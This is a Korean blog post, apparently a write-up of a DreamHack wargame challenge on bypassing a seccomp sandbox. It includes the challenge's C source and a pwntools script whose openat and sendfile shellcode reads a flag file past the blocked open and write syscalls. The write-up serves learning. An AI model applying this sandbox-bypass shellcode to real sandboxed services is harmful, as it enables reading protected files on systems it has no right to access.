Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage2_문제풀이(Bypass SECCOMP-1) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage2_문제풀이(Bypass SECCOMP-1)

CIDY 2022. 7. 10. 20:43

*Bypass SECCOMP

개발자가 모든 시스템 콜울 숙지하고 있는 것은 아니기에, 보안은 완벽할 수 없고 상황에 따라 여러 우회 방법이 존재한다.

 

-타 시스템 콜 호출 : open을 막아뒀다면, 같은 기능을 수행하는 openat를 이용할 수 있음

 

-Application Binary Interface (ABI) : 아키텍쳐별로 명령어 세트와 기능, 크기 등이 다르고 시스템 콜 번호도 다르다. -> 서로 다른 아키텍쳐를 호환하기 위한 코드를 이용해 우회할 수 있다.

 

// 64-bit, nx, pie, full relro
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

 

샌드박스 없이 문제만 보면 쉽다.

 

중요한 건 sandbox인데, allow니까 모두 허용 + 특정 함수는 비허용인데, execve, open, write, execveat의 시스템 콜을 쓸 수 없다.

 

open은 openat를 대체재로 쓸 수 있다고 위에서 말한 바 있음 

 

시스템 콜 테이블을 뒤져보자... (쉘코드 만들 때 많이 봤던 페이지라 다행히 북마크해뒀다.)

 

그리고 openat시스템 콜의 원형은 다음과 같다.

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

 

그리고 두 번째 인자(pathname)가 절대경로일 경우 dirfd는 무시된다 -> char *형이니까 절대경로 문자열의 주소를 인자로 줘야 함. (어차피 문자열은 저장되면서 주소를 반환하니 바로 써주면 됨)

 

그리고 위의 시스템 콜 조건을 잘 고려해서 쉘크래프트를 쓰자.

 

from pwn import *

context.arch = "x86_64"
#p = process("./bypass_syscall")
p = remote("host3.dreamhack.games", 23826)

shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)

p.sendline(asm(shellcode))
p.interactive()

 

인자 세팅에 대해 좀 더 설명해보자면, 일단 저번에 execve를 못 쓸 때 open -> read -> write과정으로 플래그를 읽어 온 것을 기억할 것이다. ↓

https://orcinus-orca.tistory.com/24

 

[System_Hacking] stage4_shellcode만들기(open, execve)

마침 alphanumeric쉘코드 만들고 왔는데 드림핵에서 쉘코드를 만들어 보라길래... 그냥 인자 세팅 후 syscall만 해주면 되는거라 즐겁게 했다ㅎㅎㅎ *open /tmp/flag를 읽는 쉘코드를 만드는게 조건이었다

orcinus-orca.tistory.com

 

여기서 open -> openat로 대체해주고, write를 쓰지 못 하는 상황이니 read + write격인 sendfile을 써 준 것이다.

 

openat의 인자 세팅은 위에서 설명했고, sendfile의 경우 

 

이렇게 생겼다. 출력은 표준출력이니 1, int in_fd는 rax(읽어올 파일의 fd), 3번째 인자는 뭔지 몰라서 0줬다ㅎㅎ 그리고 마지막은 읽어오는 사이즈니 넉넉하게 100